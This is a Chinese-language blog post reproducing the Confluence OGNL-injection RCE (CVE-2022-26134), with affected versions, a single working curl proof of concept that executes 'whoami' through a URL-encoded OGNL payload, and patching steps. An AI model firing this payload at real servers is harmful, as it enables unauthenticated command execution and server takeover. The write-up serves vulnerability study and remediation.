Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)漏洞复现

免责声明:

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)漏洞复现

漏洞概述:

CVE-2022-26134的漏洞是一个严重的未经身份验证的远程代码执行漏洞,通过 OGNL 注入利用并影响 1.3.0 版之后的所有 Atlassian Confluence 和 Data Center 2016 服务器。成功利用允许未经身份验证的远程攻击者创建新的管理员帐户、执行命令并最终接管服务器。

影响版本:

  • 1.3.0 <= Confluence Server and Data Center < 7.4.17

  • 7.13.0 <= Confluence Server and Data Center < 7.13.7

  • 7.14.0 <= Confluence Server and Data Center < 7.14.3

  • 7.15.0 <= Confluence Server and Data Center < 7.15.2

  • 7.16.0 <= Confluence Server and Data Center < 7.16.4

  • 7.17.0 <= Confluence Server and Data Center < 7.17.4

  • 7.18.0 <= Confluence Server and Data Center < 7.18.1

漏洞复现:

利用POC:

该命令是执行whoami并将其存储在 X-Cmd-Response HTTP标头中。

curl -v http://10.10.1.105:8090/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/

利用过程:

在这里插入图片描述
在这里插入图片描述

修复建议:

对于 Confluence 7.15.0 - 7.18.0
如果你在集群中运行 Confluence,你需要在每个节点上重复这个过程。您无需关闭整个集群即可应用此缓解措施。

  1. Shut down Confluence.

  2. 将以下 1 个文件下载到 Confluence 服务器:
    xwork-1.0.3-atlassian-10.jar

  3. 删除(或将以下JAR移出Confluence 安装目录):
    <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar

  4. 将下载的xwork-1.0.3-atlassian-10.jar复制到<confluence-install>/confluence/WEB-INF/lib/

  5. 检查新xwork-1.0.3-atlassian-10.jar文件的权限和所有权是否与同一目录中的现有文件匹配。

  6. Start Confluence.

对于 Confluence 7.0.0 - Confluence 7.14.2

  1. Shut down Confluence.
  2. 将以下 3 个文件下载到 Confluence 服务器:
    xwork-1.0.3-atlassian-10.jar
    webwork-2.1.5-atlassian-4.jar
    CachedConfigurationProvider.class
  3. 删除(或将以下 JAR 移到 Confluence 安装目录之外):
    <confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar
    <confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar
    ❗不要在目录中留下旧 JAR 的副本。
  4. 将下载的xwork-1.0.3-atlassian-10.jar复制到/confluence/WEB-INF/lib/
  5. 将下载的webwork-2.1.5-atlassian-4.jar复制到/confluence/WEB-INF/lib/
  6. 检查两个新文件的权限和所有权是否与同一目录中的现有文件匹配。
  7. 切换到目录/confluence/WEB-INF/classes/com/atlassian/confluence/setup
    1.创建一个名为的新目录webwork
    2.将CachedConfigurationProvider.class复制到/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
    3.确保权限和所有权正确:
    <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
    <confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork/CachedConfigurationProvider.class
  8. Start Confluence.

参考

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
https://mp.weixin.qq.com/s/tCvvvGUO4XfV8TnOrPkTcg
https://gist.github.com/jbaines-r7/a95ab29995eba3306169e755d8b3e92c

posted @ 2022-11-15 20:38  知冰  阅读(916)  评论(0编辑  收藏  举报